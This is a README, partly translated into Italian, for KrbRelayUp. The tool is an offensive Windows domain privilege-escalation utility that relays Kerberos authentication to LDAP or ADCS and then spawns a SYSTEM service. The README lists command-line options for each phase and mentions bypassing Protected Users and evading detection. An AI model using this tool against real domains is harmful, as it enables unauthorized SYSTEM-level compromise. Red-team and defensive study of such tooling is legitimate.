
KrbRelayUp - a universal no-fix local privilege escalation in windows domain environments where LDAP signing is not enforced (the default settings).
Semplice wrapper attorno ad alcune funzionalità di Rubeus e KrbRelay (e ad alcuni altri ringraziamenti nella sezione acknowledgements) per ottimizzare l'abuso della seguente primitiva d'attacco:
Questa è essenzialmente una escalation di privilegi locali universale senza fix negli ambienti di dominio Windows dove la firma LDAP non è applicata (le impostazioni predefinite).
AGGIORNAMENTO: Qui c'è un eccellente writeup di @an0n_r0 su come eseguire manualmente questo attacco (usando gli strumenti originali per questo percorso d'attacco: PowerMad/SharpMad, KrbRelay, Rubeus e SCMUACBypass)
Ho aggiunto alcune funzionalità per supportare questa primitiva d'attacco usando le shadow credentials. Nota: questo elimina la necessità di aggiungere (o possedere) un altro account macchina.
Nota: questo metodo d'attacco bypassa la mitigazione Protected Users (o 'Account is sensitive and cannot be delegated') grazie all'abuso di S4U2Self.
AGGIORNAMENTO: Qui c'è un eccellente writeup di @icyguider su come eseguire manualmente il metodo ShadowCred di questo attacco (usando gli strumenti originali per questo percorso d'attacco: KrbRelay, Rubeus e SCMUACBypass) insieme all'uso di NimCrypt2 per impacchettare i vari strumenti e aggirare alcune rilevazioni da parte dei meccanismi difensivi.
Ho aggiunto il supporto per il relay dell'autenticazione KRB della macchina verso ADCS Web Enrollment (invece di LDAP). Questo elimina il requisito che la firma LDAP non sia applicata nel dominio, poiché questo attacco non fa relay verso LDAP.
Nota: questo metodo d'attacco bypassa la mitigazione Protected Users (o 'Account is sensitive and cannot be delegated') grazie all'abuso di S4U2Self.
KrbRelayUp - Relaying you to SYSTEM
FULL: Perform full attack chain. Options are identical to RELAY. Tool must be on disk.
RELAY: First phase of the attack. Will Coerce Kerberos auth from local machine account, relay it to LDAP and create a control primitive over the local machine using RBCD or SHADOWCRED.
Usage: KrbRelayUp.exe relay -d FQDN -cn COMPUTERNAME [-c] [-cp PASSWORD | -ch NTHASH]
-m (--Method) Abuse method to use in after a successful relay to LDAP <rbcd/shadowcred> (default=rbcd)
-p (--Port) Port for Com Server (default=12345)
-cls (--Clsid) CLSID to use for coercing Kerberos auth from local machine account (default=90f18417-f0f1-484e-9d3c-59dceee5dbd8)
# RBCD Method:
-c (--CreateNewComputerAccount) Create new computer account for RBCD. Will use the current authenticated user.
-cn (--ComputerName) Name of attacker owned computer account for RBCD. (default=KRBRELAYUP$)
-cp (--ComputerPassword) Password of computer account for RBCD. (default=RANDOM [if -c is enabled])
# SHADOWCRED Method:
-f (--ForceShadowCred) Clear the msDS-KeyCredentialLink attribute of the attacked computer account before adding our new shadow credentials. (Optional)
# ADCS Method:
-ca (--CAEndpoint) CA endpoint FQDN (default = same as DC)
-https Connect to CA endpoint over secure HTTPS instead of HTTP)
-cet (--CertificateTemplate) Certificate template to request for (default=Machine)
SPAWN: Second phase of the attack. Will use the appropriate control primitive to obtain a Kerberos Service Ticket and will use it to create a new service running as SYSTEM.
Usage: KrbRelayUp.exe spawn -d FQDN -cn COMPUTERNAME [-cp PASSWORD | -ch NTHASH] <-i USERTOIMPERSONATE>
-m (--Method) Abuse method used in RELAY phase <rbcd/shadowcred> (default=rbcd)
-i (--Impersonate) User to impersonate. should be a local administrator in the target computer. (default=Administrator)
-s (--ServiceName) Name of the service to be created. (default=KrbSCM)
-sc (--ServiceCommand) Service command [binPath]. (default = spawn cmd.exe as SYSTEM)
# RBCD Method:
-cn (--ComputerName) Name of attacker owned computer account for RBCD. (default=KRBRELAYUP$)
-cp (--ComputerPassword) Password of computer account for RBCD. (either -cp or -ch must be specified)
-ch (--ComputerPasswordHash) Password NT hash of computer account for RBCD. (either -cp or -ch must be specified)
# SHADOWCRED | ADCS Method:
-ce (--Certificate) Base64 encoded certificate or path to certificate file
-cep (--CertificatePassword) Certificate password (if applicable)
KRBSCM: Will use the currently loaded Kerberos Service Ticket to create a new service running as SYSTEM.
Usage: KrbRelayUp.exe krbscm <-s SERVICENAME> <-sc SERVICECOMMANDLINE>
-s (--ServiceName) Name of the service to be created. (default=KrbSCM)
-sc (--ServiceCommand) Service command [binPath]. (default = spawn cmd.exe as SYSTEM)
General Options:
-d (--Domain) FQDN of domain. (Optional)
-dc (--DomainController) FQDN of domain controller. (Optional)
-ssl Use LDAP over SSL. (Optional)
-n Use CreateNetOnly (needs to be on disk) instead of PTT when importing ST (enabled if using FULL mode)
-v (--Verbose) Show verbose output. (Optional)
